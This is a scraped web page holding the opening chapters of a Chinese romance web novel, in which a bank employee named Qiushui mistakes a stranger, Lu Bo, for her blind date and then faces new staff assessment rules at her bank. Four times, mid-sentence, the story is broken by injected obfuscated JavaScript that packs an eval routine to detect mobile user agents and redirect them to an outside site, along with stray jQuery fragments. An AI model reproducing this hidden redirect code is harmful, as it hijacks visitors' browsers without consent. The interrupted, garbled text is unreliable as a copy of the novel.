《误惹》 1. 相亲1 “凡是有钱的单身汉，总想娶位太太，这已经成了一条举世公认的真理”。 一位可爱的太太在两百年前斩钉截铁地下了这个定论，两百年后，这条真理被各位太太妈妈们修改为了，凡是单身，总需要有个家庭，无论男女。 秋水斜靠着公交车窗，望着窗外，兴致缺缺地想着。 “所以，你还是没有抗住阿姨的催促，去相亲了？” 手上的手机震了两下，拿起来一看，是闺蜜王媛发来的问候。 秋水和王媛从小学的时候就认识了，打小就要好，同一个小学、初中、高中读下来，大学又考到了同一个城市。 “是啊，如果不去，我将要被逐出家门了”秋水的回复里带着点无可奈何的味道。 秋水从小就听话，就没让家长操过心，顺顺利利的重点中学、重点大学读下来，研究生毕业后，又顺利地找到了份银行的工作，在一线城市收入虽然不算高，但养活自己也绰绰有余了，父母一直为有这么个懂事的闺女感到自豪。 谁成想，工作之后，秋水却一直没有男朋友，这事把父母愁的够呛。 说到谈对象这个事情，秋水也很郁闷。高中的时候，同学们春心萌动，秋水一心学习，对于高中生的那些暗潮涌动从不知道。 进了大学，同学们分分合合，秋水又为了绩点、社团活动忙忙碌碌，一心为保研作准备。 顺利进入本校读研，研究生生涯为了论文绞尽脑汁，终于达到毕业要求了，又开始奔波在求职的艰辛道路。 好在幸运女神对秋水还是眷顾的，投了几份简历后，秋水成功地拿到了当地一家银行管培生的offer，马不停蹄开始了实习工作。 随后便是手忙脚乱地学习和适应过程，等到好不容易能游刃有余应付工作了，一晃神，才发现身边适龄男性都有名草有主了。 自秋水过了26岁生日后，父母、亲戚、甚至公司领导都在关心她的恋爱情况，但不见丝毫动静。忍无可忍的母亲开始发动一切关系为秋水寻找相亲对象，于是秋水开始了她的漫漫相亲路，一晃两年过去了，母亲更加着急起来，只要是单身男士，就觉得会是自己女婿。 “今天见的是什么人啊？”王媛的信息打断了秋水的回忆。 “老太太广场舞认识的小姐妹介绍的，说人家高学历、高个头、高工资，个人条件特别高，错过这个村没有这个店，让我赶紧抓住机会。” “这种人类优质男青年，快让我看看。”王媛回信息的速度瞬间加快。 “你猜我有没有他照片？”秋水亲妈在听到小姐妹的介绍后，迫不及待地定下了见面地点，勒令秋水必须过去，现在秋水除了一个社交账号，对对方一无所知。 “哈哈哈哈，阿姨行动力也太强了吧，你去看看，要是对方真的不错，你也可以试试。”王媛在大学里谈了一个男朋友，两人感情特别好，大学一毕业就结婚了，小日子非常滋润，因此她一直撺掇秋水恋爱结婚，体会爱情的美妙。 “介绍人的那张嘴啊，说的话打对折听都是好的。”秋水拿起手机，手指戳在屏幕上面上下翻飞，“上次那个，介绍人说长的倍儿精神，结果他的儿子更精神；再上次那个，介绍人说抓住能少奋斗二十年，结果人家去肯德基就点了一杯白开水；再再上次那个，介绍人说事业有成收入佳，可是一张嘴就是要我辞职和他回家。” “噗，”看到秋水的吐槽，王媛想起了她堪称惨烈的相亲经历，控制不住笑了出来。“我是真想不明白，你说你名校毕业，工作体面，长的也不差，怎么遇见的都是这样的人？” 王媛的问题秋水没法回答，这个问题她自己也琢磨了很长时间。都说相亲对象的质量体现了一个人在介绍人心中的形象，秋水琢磨着自己也没差到哪里，怎么相亲对象一个比一个寒碜。 “行了，不聊了，我到地方了。”匆匆结束了对话，秋水刷卡下了公交。 约好见面的咖啡厅位于市中心的胡同内部，从公交车下来后还得顺着胡同往里走十来分钟，位置有点隐蔽，秋水花了点时间才找到地方。 走进院子大门，绕过影壁，就看到地儿了，在这皇城跟下，咖啡厅的面积自然没有多大，一间小小的屋子，里面错落摆放几张桌子，这个点也没有客人进来，老板靠在柜台后刷着手机，午后阳光射进来，照在懒洋洋打瞌睡的橘猫身上，温柔的轻音乐在室内流淌，确实是个消磨时间的好去处。 因为工作的关系，秋水习惯提前到达，这次也不例外，看看时间，2点15分，离约定好的见面时间早了15分钟，秋水也没着急，在橘猫旁边的桌子坐下，给“高质量”先生发了条信息，告诉对方自己位置，并贴心地表示不用着急，就优哉游哉地研究起桌上的餐单。 相亲了太多次数，秋水已经深刻认识到了其中的不靠谱之处，奈何日常生活过于简单，缺乏认识新朋友机会，一直没能带个男友回家，为了堵住家里双亲的唠叨，只能不断在相亲道路上奔波。 “叮叮叮叮”，门口的风铃发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648748|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声音，把秋水漫无边际的思绪拉回来现实。 抬头向大门望过去，墙上的时钟正好指在2点半，沿着声音的方向望过去，只见一位高高瘦瘦的男生撩开门帘，伴随阳光走了进来，走动间带动的风拂过门帘，为冬日静谧午后带来新的气息。 胡同深处，午后无人咖啡厅，除了那位“高质量”先生，也没有第二个答案了。 介绍人居然没有太夸张，秋水暗忖，对进来的男性挥了挥手招呼，示意自己的位置。 陆博刚走进“时光”咖啡厅，就看见一个女生对自己挥手，脚步顿了顿，浓眉微挑，抬脚走了过去。 随着陆博的走近，秋水终于看清了对方的长相，剑眉星目，完全长在自己审美点上。 作为一个颜控，秋水完全抵抗不了近距离的颜值狙击，态度较之前热切几分，毕竟谁能对英俊的面孔横眉冷对呢，指着对面的椅子，向陆博示意。 “路先生是吧？” “嗯，我是。” “我刚刚看了一下他们的餐单，点了招牌咖啡和蛋糕，你还要加点什么吗？”。 陆博从善如流，坐在秋水指着的沙发椅上，看着秋水一边说着话一边将餐单推了过来。 有意思，陆博笑了笑，抬头打量秋水，作为一个长的不赖的男生，他早已习惯了各种各样女生的搭讪，就算工作环境中男性居多，他的桃花也没有断过，不过确实没遇见过这么自来熟的女生。 “路先生，我是秋水，我想介绍人和你说过我的情况了吧，我想要不我们都直接点。” 鉴于之前相亲对象的不靠谱，秋水已经不愿意多花时间在前期的沟通上，干脆开门见山，不耽误彼此的时间。 听到秋水的话语，陆博眨了眨眼，瞬间反应过来，这位小姐大概是认错人了。 遇见这种情况，正常人都会立即将情况解释清楚，但陆博偏不。 如果说秋水是从小让家长省心的孩子，那陆博从小就是别人家的孩子，一路就读顶尖名校，因为成绩优越，在求学的过程中多次跳级，比同班同学年纪小好几岁，朋友特别少。 因为智商优越，很多娱乐活动对陆博而言没有挑战性，毫无趣味可言，这就导致了陆博候经常性地感到无聊。 没想到周末出来放风，逛累了随便找个地方休息，还能遇见这种有意思的事情，陆博心里的恶趣味冒了出来，不打算纠正这个误会，反而拿起手机，加点了几份小吃，期待看到对面这位“粗心小姐”发现认错人的表现。 2. 相亲2 “我可以问你几个问题吗？”见陆博下单之后斜靠在沙发上，没有说话的意思，秋水决定再次主动出击。 “当然可以。”陆博毫不犹豫地回答，带着笑意的眼睛望向秋水。 “你今年多大？” “30。” “毕业学校？” “A大。” “工作单位” “XX研究所。” “研究所工作，那学历是什么？” “博士研究生。” “对未来的规划是什么？” “好好工作，好好生活。” “资产情况？” “无车无房。” 秋水问的直接，陆博回答的也配合，短短五分钟内，秋水就问完了相亲标配问题。 长相加分、身材加分、学历加分、人生规划加分，资产情况扣分，综合衡量，90分以上，确实是人类高质量男青年了，面试般的一问一答之后，秋水心中已经下了决定。 秋水喝了口咖啡，定了定神，深吸一口气，说道:“虽然介绍人已经和你说过了，但我还是跟你说一下我的情况。我今年28岁，经济大学研究生毕业，现在在C银行工作，身体健康，无不良嗜好。” 秋水这段话说的很急，好像怕被什么打断一样，陆博好整以暇地望着她，反问“所以呢？” “所以，我觉得你和我未来男朋友长的很像，你对我有没有意思，要不要和我谈恋爱？”秋水豁出去了，一口气说完。 事情的走向越来越出乎意料了，看看秋水看似平静的脸，再看看在秋水手中揉成一团的桌布，陆博心里趣味更浓，他轻轻笑了声，张嘴准备回答。 “那当然…” 话刚出口，就被秋水手机的提示铃声打断。 二人同时看向手机。 秋水拿起手机，准备挂断，这个电话真是太不是时候了。 在按下挂断的上一秒，秋水看到了来电显示，赫然是相亲对象“高质量”先生。 秋水狐疑抬头，视线在手机和陆博之间游移。 好可惜，露馅了，陆博遗憾地伸出手，作出请的手势，让秋水先接通。 “喂，你好。” “秋小姐是吧，我是路征啊，这儿太不好停车了，我刚找到车位，不好意思来晚了，你在哪儿呢？” 听到手机里的声音，秋水缓慢把头移向咖啡厅入口方向，果然看到门帘被掀开，又进来了一位男士。 完蛋了，认错人了。这七个大字加粗加黑在秋水脑中循环飘过。 “这是？”路政进门就看到室内仅有的一位女性手里拿着手机正接听电话，大踏步走过来，此时看见和秋水一张桌子的陆博，对这个情况有点疑惑。 我是谁？我在哪里？哲学的终极问题在秋水耳边回响，白皙的脸颊瞬间通红。 秋水僵硬的挂断电话，抱着最后一丝希望看向陆博，绝望地意识到自己闹了一个多么大的乌龙。 “我觉得你和我未来男朋友长的很像，要不要和我谈个恋爱”，几分钟前说过的话，每个字都有了力量，不断的扇向秋水的脸。 天，我都说了些什么啊。秋水绝望地想到，看天看地看猫看桌椅，恨不得能突然发现一个缝隙钻进去，就是不敢再看路征和陆博。 手机声再次响起，打破了室内窒息的沉默。 “喂，你好”路征接通电话。“今天是周日，我肯定不在公司啊。什么？老板急着要？那你等等，我正好在附近，我晚点去公司给你找。” 听到路征的说的话，秋水的神志勉强归位,等路征挂了电话，飞快说道：“路先生有事就先去忙。” 路征犹豫了一下，手机再次响了起来，看了眼手机，点，关掉声音，“今天真不好意思，公司突然有急事，下次再请秋小姐吃饭赔罪。” “好好好，吃饭不着急，工作要紧，路上小心啊。”秋水快速回应。 “那我就先走了。”路征说完后赶紧接起电话，急匆匆向外走去。“在路上了，15分钟就到”声音越来越远，逐渐听不见。 事情已经解决一半了，秋水你没问题的。 秋水默默给自己打气。 “这位先生，非常抱歉，给你添麻烦了，您就当做什么也没听见吧，不好意思。” 秋水状似镇定地说完，抓起围巾将头包住，拎起包头也不回的离开，自然就没有看见陆博在他结账后走向前台的步伐。 “哈哈哈哈哈”一阵魔性的笑声在房间内放肆的流淌，“所以说，你在这种情况下，还没有忘了结账？” “你这什么抓重点的能力，结没结账是重点吗？”秋水看着视频里正敷着面膜的王媛，没好气回道：“再笑再笑，就等着长皱纹吧。” 王媛笑不可遏“秋小水啊秋小水，你说你怎么就心那么大呢，认错人就算了，你还这么虎，你想想你问的都是些什么问题，那个男生没有扭头就走，算修养好了。” “真的这么过分吗？我就一时头脑发热，没想太多就直接问了。”秋水讪讪回答。 “不过秋小水，你这不对劲啊，你不像是会头脑发热的人啊。”王媛狐疑。“我认识你多少年了，这种事情没见你做过几次啊。” “真这么喜欢？” “要说一见钟情，那有点假，但好感肯定是有的。”秋水想了想，还是认真回答。“他们都说，轰轰烈烈的爱情最终也将化为柴米油盐的琐碎，能遇见爱固然好，但只要人合适，没有爱也不是不可以相处。难得遇见一个长在我审美点上的男人，各方面条件也不错，我又不是不婚主义，自然不想错过” “所以，你就这么问了？你这么一说，我都想看看让你这么失去理智的男人长什么样子了，怎么就让你智商瞬间为零了。”王媛好奇心爆炸，恨不得陆博马上出现在她面前。 “唉，我现在连那人叫什么都不知道，联系方式更是没有，估计这就是我们最后一次见面了。” 一听这话，王媛也为秋水发愁，给她出主意：“多去那个巷子里转转啊，你们这就是上天注定的缘分。” “别出瞎主意了，你知道这个城里有多少人吗？两千万人，在这两千万人里，恰恰好巧遇一个人的概率，比月球撞地球还要小。”秋水没好气地翻了个白眼。 “算了算了，不和你聊了，很晚了，赶紧睡觉去吧，明天还得去搬砖。”看着王媛撕下脸上的面膜，开始进行护肤流程了，秋水回过神，已经快到平常休息时间了，和王媛说了几句，就将视频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648749|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂断，去卫生间洗漱。 等到护肤完毕，将手机拿去充电，才看见手机上有一个好友申请，点开看到一串公式的头像，秋水心里有了一点猜测。 点进申请详情，只见备注上写着：“有意思小姐，你好。” “有意思小姐。”秋水捂脸，“太社死了，还有更社死的称呼吗？”秋水一边这么想着，一般通过了好友申请。 “你好，你已经添加了L为微信好友，现在你们可以开始聊天了。” 对方似乎正在手机旁边，在提示语弹出的下一秒，对方就发了一句语音过来，点开，“有意思小姐，你好”，陆博清爽的声音在房间内流淌，听见这个称呼，秋水的脸上再次升起红晕。 “你怎么会加我好友呀？”秋水冷静下来后，确实觉得自己问的过火了，如果自己被人那么没有礼貌地询问，肯定早就江湖不见，因此她确实想不出陆博为什么要添加好友。 “我说过了，觉得你有意思呀，这位小姐。”陆博的声音里带着点淡淡的笑意。 原来此有意思非彼有意思，秋水为自己想的太多而羞愧，不过听到有意思小姐这个称呼，还是会回想起社死的瞬间。 “别叫我什么小姐了，我叫秋水，你直接叫我名字好了。”秋水拒绝这个称呼。 提示对方正在输入，这次的回复时间较上次长了点，秋水的心瞬间提了起来，是不是自己语气太生硬让人不高兴了。 “那好吧，我叫陆博，很高兴认识你，秋水。”这句回复换成了文字。 原来是在输入文字，难怪时间长了点。看到消息，秋水先放下悬在半空的心，然后才看内容，陆博，原来他叫陆博啊，真好听的名字，一听就很有学问，秋水美滋滋的想着。 “很高兴认识你，陆博。”秋水一字一字在键盘上敲击，短短几个字，检查了好几遍，点下发送的瞬间，心情和上交年终总结差不多了。 “是这样的，秋水。”陆博声音中的笑意减少了，声音依旧清爽，但莫名觉得正经很多。“很抱歉之前没和你说清楚，我不是你等待的那位先生，所以找咖啡店老板要了你的社交账号，想请你吃顿饭表达我的歉意。” “咖啡店老板？他怎么把我的账号随便给别人啊。”陆博说一大段话，秋水的第一反映确是这个。 “你冤枉人家老板了，老板确实没有随便把账号给别人。” “那你怎么有我的账号？”秋水不信。 “毕竟，我是某位小姐说过的，有意思的对象啊，怎么是别人呢？”陆博的声音又带了点忍不住的笑意。 我就知道，秋水心中咆哮，果然那个“有意思小姐”就是在调侃。 “这怎么好呢，说起来今天一切都是我弄错了，把事情搞砸了。”秋水心中的澎湃千言，发过去的文字却略显生疏，“还是我请你吃饭吧。” “吃饭的事情就这么定下了吧，具体细节之后再聊，很晚了，先去休息吧。”陆博也没有和秋水争论。 “早点休息”，秋水发了一个晚安的动图，将手机充上电，随即躺到床上，左右翻滚，我有了他的联系方式！他的名字真好听！他觉得我有意思！乱七八糟的念头涌动，秋水陷入了睡眠，只有柔和的月光，看见了秋水嘴角的笑意。 3. 考核1 “啾啾啾啾”，早上6点，闹钟准时响起。秋水将手从被子里伸出，摸索着床头的手机，眯着眼睛看了一眼，掀开被子坐了起来，拿上洗漱用品轻手轻脚走去卫生间。 秋水毕业后就开始租房居住，从房东在客厅做的隔断房，换到朝北的小次卧，再换到朝南的大卧室。 房内还住着其他两个租户，朝北的小卧室里住的是一个刚毕业的学生，秋水每次看见她都会想起刚毕业时的自己，有意无意的会照顾一点对方。 南边另一个卧室住的女生最近新交了男朋友，对方经常来这儿过夜，这个70平的房子里经常同时有四个人居住，这就要求几个人协调好公共空间的使用时间。 秋水平时是7点40左右起床，正好和其他人的洗漱时间错开，但是周一有早会，得提前半小时到银行，于是只能早早起床，这样才不会耽误其他人上班。 半小时后，秋水穿着运动服，挤上了通往银行的地铁。 出门比平时早很多，导致了秋水到银行门外才刚过7点，网点大门紧闭。 站在门口，贴着网点的窗户向内看，确认了自己比柜员来的还早这个事实，秋水抬脚走向网点的后面，掏出门禁卡准备刷卡进门。 卡快贴上门禁，突然想起之前发生过的事情，手停滞了一下，将门禁卡收回，转而拿出手机，找到备注为“保安队长”的人，将电话拨出。 “李队，我是秋水，现在在支行外面了，今天撤防了吗？”没等多久电话就被接通，秋水笑意盈盈地询问。 “哎，秋水啊，你今天怎么来这么早啊，等等啊，我马上去撤防。”听筒里传来保安队长睡意朦胧的声音。 还好还好想起来了，秋水抚了抚胸。 银行网点到了晚上，等加班人都回家之后，保安队长会进行巡查，巡查过后将开启防控，如果之后还有人进去，一旦进入办公区域触碰到防线，警报将马上响起，并迅速向上一级网点示警，等到第二天上班，防控由保安队长解除后才能进入。 秋水刚来实习的时候不了解这个情况，有天晚上回家后想起没有写完的，第二天要交的报告放在办公室，大晚上过来取报告，刷开门的一瞬间，只听见刺耳的报警声响起，把她吓得够呛。 没过多久，网点的后门被打开，秋水向来开门的保安队长打过招呼后，径直向更衣室走去，从柜子里取出行服换上，拿出化妆包，快速化了一个工作妆，将工牌佩戴在胸前，去工位再次梳理了一下早会材料，看食堂差不多开餐了，放下资料走向食堂。 要说秋水对这份工作满意的地方，那能提供一日三餐的食堂绝对算是一项。拿起餐盘，取了一份小馄饨、一个荷包蛋，再来份小笼包，美滋滋吃了起来。 “今天来挺早啊。”刚吃没几口，伊莱也端着餐盘坐了下来。 伊莱比秋水大几岁，比秋水早来银行好几年，算是秋水的前辈，典型的北京大妞，不知道秋水哪里入了她的眼，对秋水关照有加。 “早上起得早，在家也没什么事，就早点来了，还能赶上第一波早饭呢。”秋水将嘴里的食物咽下，含糊说了一句，又继续吃下去。 “吃吃吃，你还吃得下去。”伊莱瞪了眼秋水。 “发生什么事了，姐，你别吓我啊。”秋水知道伊莱不是容易大惊小怪的人，这么着急的语气，意味着肯定有大事发生了。 伊莱抬头四顾，他们来的比较早，旁边的桌子上还没有人，但伊莱依然凑近秋水，声音低了八度，神秘兮兮地说：“今年的考核指标下来了。” “嗨，我还以为是什么大事呢，不就是考核吗？指标迟早得下来，我现在手里的那几个客户，完成指标足够了。”听见伊莱的话，秋水松了一口气，不在意地咬了一个馄饨。 “要这么简单就好了。”伊莱却没有轻松，继续神情凝重:“今年的考核有大变动，一个客户不能算给两个人了。” 听见伊莱的话，秋水也开始发愁了。她在银行的大客户部门工作，服务对象是大型国企、央企、民营上市公司和拟IPO企业，作为刚毕业没几年，家里也没矿的银行新人，自然没有能力独自营销这些大型企业，她主要的服务对象，是同部门同事叶允的客户。 叶允是土生土长本地人，家里别的不多，就亲戚多，这些亲戚还都是各个企业的小领导，不说一言九鼎，但提出的话还是有几个人会听，在符合规定的基础上，增加一家合作银行这种事，一般没什么难度。 因此叶允的客户多的维护不过来，正在他焦头烂额之际，秋水入职了，秋水是作为管培生来到大客户部门轮岗的，叶允看她踏实肯干、胆大心细、任劳任怨，果断下手将人抢了过来，从此以后，秋水就成了叶允的固定搭档，叶允拉资源、营销客户，秋水进行后续的业务，业务提成二人按比例分享。 “我琢磨着，我们部门，就对你影响最大，你可要好好想想要怎么办。”伊莱看秋水动了动嘴好像要说什么，不等她开口，继续说下去。 “你也知道我们的情况，手里的客户勉强也就能满足考核的要求，我们部门也就叶允的客户够多，可以分几个给你，可是我听说，今年的年终奖是按优质客户数分档次的，优质客户就那么多，如果叶允分了给你，那他肯定就拿不到最高档的年终奖了，里外里差十好几万呢。” “姐，你也知道我的情况，要真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648750|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么定考核，我这年就白干了呗。”馄饨瞬间就不香了，秋水味同嚼蜡。 秋水的年收入分为工资和年终奖两个部分。 工资由底薪和绩效构成，而底薪堪堪能达到所在城市的最低工资标准，绩效才是每个月的主要收入来源。而绩效的发放标准简单粗暴，就看名下的客户创造利润情况。 至于年终奖，秋水所在银行在年中的时候会下发由一系列小指标构成的考核指标，小指标一共有十几个，包括优质客户数、获得利润总数，以及各个业务获得利润数等，其中优质客户数等几个小指标是加分项。 加分项指标意味着，在已经完成考核的基础上，完成该类指标越多，获得的考核分数越高，甚至可以弥补其他指标分数的不足。 当然，这些都不是秋水现在关心的，如果真的像伊莱所说，一个客户不能按比例算给两个客户经理，只能独属一个，那么新的考核标准实施后，秋水名下客户数量将瞬间清零，业绩工资、年终奖都将为零。 “反正你好好琢磨清楚吧。”伊莱扔下这句话，专心吃起了早餐。 8点半的时候，大客户服务部的早会开始。每周一的早会是例行会议，由大客户业务的分管行长主持召开，部门总经理、所有的客户经理要参加，会议内容包括上周总结和本周工作计划，具体来说，就是每个人依次汇报上周工作的完成情况，列出这周的工作计划，分管行长对上周工作进行点评，并判断本周工作安排是否可行。 这周也不例外，先从总经理宗琦开始，然后十来个客户经理依次汇报，一直进行到坐在最后的秋水，这一次例会比较特殊的是，每个人发言的时候都有点心不在焉。 待秋水将本周计划说完之后，分管行长胡越清了清嗓子，开口：“有件事想必你们已经知道了。” 话音刚落，满屋子的眼神乱飞，有“好事来了”的得意，也有“终于来了”的认命，至于秋水，大概是听见了铡刀落地的声音。 “咳咳，”胡越咳嗽了一声，将注意力拉回来。“今年的考核指标，行里已经发下来了，你们待会儿上去就能在邮箱里看到具体要求了，今年和往年想比，有一个特别大的变化。” 说到这里，胡越停顿了一下，目光扫视面前端坐的人，满意看到面上都带上了紧张。 “今年的考核，最大的变化，就是对客户归属有了要求。以前一个客户好几个人认领，然后分享利润，这个客户会同时算给每一个人，今年考核方式改变了。” 秋水知道，重点来了，竖起耳朵，聚精会神地倾听。 “今年这个考核，客户数不再这么计算了，客户只能归属为一个人。” 4. 考核2 第四章 靴子落地了，秋水一直忐忑的心也定了下来，事已至此，抱怨无用，只能赶紧想解决办法。 如果秋水不想做一年白工，最方便的办法，就是和叶允进行谈判，让叶允给她客户。 按照上一年秋水帮叶允落地的业务量，利润分成后，她能拿到30万左右的绩效工资。 因此，秋水计划在叶允的客户里寻找体量合适的客户，挂在自己名下，赚这个客户的全部利润提成，而叶允其余的客户，她无偿进行维护。 当然，这个方案秋水也是冒着很大的风险的。 每个客户的业务量每年波动都很大，有的客户，可能这一年和银行合作特别多，创造了非常大的利润，但下一年因为种种原因，不和银行合作或者换其他银行合作，一年到头利润都为零。 甚至还有更夸张的客户，因为资质太好，议价权很高，为了维护客户关系，银行还得赔钱赚吆喝。 由于叶允的客户基数够大，尽管秋水的分成比例不高，但是此消彼长，总能维持一份相对稳定的收入，更不要说随着叶允营销过来的客户越来越多，业务量越来越多，秋水的收入也将逐年增多。 因此，如果秋水提出要单独客户，即使叶允同意，秋水也是在赌。 那这个方案叶允就占了很大的便宜吗？也并没有。正如伊莱说的，年终奖是按考核成绩分档次发放。 优质客户数是一个非常重要的考核指标，在考核比例里占很大的分值。而且优质客户数是一个加分项，就是说在完成了基础要求后，优质客户数越多，给考核加分越多，上不封顶。 如果叶允将优质客户给秋水，他的年终奖必然会大受影响。 对于这种两败俱伤的方案，秋水没有把握叶允会同意。 “但是，今年是新出台这个标准的第一年。”众所周知，“但”后面的话才是最重要的，胡越带着重音的“但是”两个字将秋水的思绪拉回。 “行里肯定会考虑大家的利益。” 胡越说这句话的时候，目光看向了秋水，暗示这个“大家的利益”指的就是秋水。 “我和行领导也进行了沟通，今年的考核出的晚、变化大，没有给大家留出足够的时间，所以今年虽然客户只能归属给一个人，但是客户利润还是可以共享。” 说完这句话，胡越目光逐一扫过会议桌上神情各异的人，作总结语： “好了，今天的会就开到这里，诸位回去都算一下，现在和考核要求相差多少，今年能不能完成考核，希望大家都能拿到最高档120%的年终奖，散会。” 椅子拖地的声音响起，听见胡行宣布散会之后，诸人无心交谈，沉默走向办公桌。 秋水打开内网电脑，飞快输入账号密码，进入CRM系统，将业绩明细打印出来。 细长手指时而拿着签字笔在A4指上写写画画，时而在计算器上跳动，没多久就计算明白，紧绷的肩膀放松了下来。 “今年应该稳了，问题不大。”秋水暗暗思忖。 按照胡行宣布的考核办法，这一年内能够正常拿到利润，按部就班做下去，全年总利润的考核分数能够拿到。 而叶允营销的客户分布在各行各业，除了综合授信，发债、贴现、押汇、保函等业务都有客户做过，甚至还折腾过福费廷这种冷门业务，这样具体业务项下的小指标考核大部分也稳了。 秋水将大指标小指标逐项顺过去，除了名下优质客户数，其他的指标都没问题。 名下优质客户数这个指标，大概将扣除秋水10%的年终奖。 “这已经是最好的结果了，至于明年怎么办，那明年再说吧，”秋水心大地想着，“起码今年没白干”。 “妹妹，还在算着呢，”一杯咖啡突然出现在办公桌上。 “怎么过来都没动静啊，吓我一跳。”听见叶允的声音，秋水不客气地将咖啡拿了过来，“这个归我了。” 叶允今年34岁，比秋水早半年到这家银行，不同的是秋水是校招时候过五关斩六将才拿到这家银行的offer，而叶允是凭借自身强大的资源，从其他银行跳槽而来。 名义上来说，叶允是秋水的直属主管，但是由于叶允没有什么架子，为人处世特别周到，对秋水这种小助理也很客气，言必称请，因此秋水面对叶允也没有面对上司的战战兢兢。 “本来就是给你买的，刚刚开会看你没精打采的，喝口咖啡醒醒神，赶紧去喝吧。”叶允用指关节敲了敲秋水的桌子，转身离开。 叶允走后，秋水没有立即喝咖啡，而是转身登进叶允的CRM账号，将叶允的业绩情况打印下来，然后拿着两个人的业绩表，将比揣进兜里，拿着咖啡匆匆走进休息室。 秋水所在的银行管理严格，不许员工在工作时间吃零食，保卫处的人经常在监控里检查有没有员工违规，发现就有重罚，因此大家吃零食时都会前往没有监控的休息室。 叶允临走时敲的那两下桌子，让秋水觉得，对方有什么话要对自己讲。 推开休息室的大门，果然叶允已经在里面等着了。 “怎么现在才来？我都等你好久了。”刚进去就听见叶允的抱怨。 “也没有多久吧，最多也就5分钟。”秋水白了叶允一眼。 “说不过你。”叶允低低笑了一声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648751|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“说正事吧，刚刚办公室人多口杂，有些事不好说，趁着这儿没有监控，咱们谈谈。”叶允突然正色。 “你这样正经我有点不习惯啊，要和我谈什么呢？”秋水插科打诨。 “还跟我装傻充愣是吧，我就不信你没有点想法。”叶允没好气地说道。 “看看你手里拿的是什么东西再跟我编瞎话。”见秋水准备开口，叶允打断。 “什么都瞒不过你。”秋水正色。“我的想法是，今年维持原样，不做变动。” “你真这么想的？”叶允狐疑地看着秋水。“不要不好意思，把你的想法直接说出来。” “真的不能再真了。”秋水笑了笑，将手里的一份材料递给叶允。 “这是我的业绩情况，据我计算，我能拿到0.9倍年终奖，这已经很好了。”秋水真心实意地说道。 “我看看。”叶允接过资料，修长手指快速翻过纸张。 “你的分数扣在优质客户数？差三个？” “对。”秋水有点沮丧。 “不就三个优质客户吗？急什么，我给你。”叶.霸道总裁.允马上接话。 “不要。”听见叶允的话，秋水瞪大双眼，递出另一份资料。 “你的年终奖系数现在能到最高的1.2倍，少三个客户就只能拿1.1倍。” “也差不了多少钱，给你吧。”叶允依然坚持。 “什么叫差不了多少！差的多了去了好吧。”秋水咆哮。“你知不知道今年年终奖基数，你能上七位数，少了这10%，里外里你可得少十好几万的年终奖。” “别激动别激动。”叶允有点好笑，没见过送钱还不要的人。“又不是明天就考核，还有两个月呢，我又不是找不到客户。” “别乱来啊，我不会通过调户申请的。”全额年终奖在向秋水招手，虽然她的年终奖基数不算高，但扣掉的10%也快五位数了。 秋水忍着心痛，不占便宜，坚守原则地拒绝。 “没见过你这样的。”叶允没好气，但还是提出了新的方案，“这样吧，我现在的客户不调给你，要是有新的优质客户，咱们利润照旧，但是归你名下。” “好，那就这么说定了。”秋水笑得眉眼弯弯，没有拒绝叶允的好意。 虽然按照文件规定，只有满足了利润要求的客户才会判定为优质客户，在剩下的两个月内引入3个满足优质客户标准的客户不是易事，但这个方案对叶允的利益没有影响，算是最好的一条路了。 “可算说通了，咖啡豆要冷了，你赶紧喝吧，回见。”叶允勾起旁边椅子上的衣服，潇洒走了出去。 “回见。” 5. 表彰1 同样的周一，同样的会议，海淀区某研究所的会议室里，气氛却截然不同。 “陆哥，这里这里。” 陆博走进会议室的时候，离会议的时间已经很近了，会议室里的椅子差不多坐满了人，正当陆博寻找座位的时候，前排有人站起来挥手冲他招呼。 陆博皱了皱眉，他向来不愿意在领导眼皮子底下待着，以往开会都是早早过来坐在最后一排，今天出门的时候有点事耽误了一下，让同组的张鹏帮他占个座，没想到在这么靠前的位置。 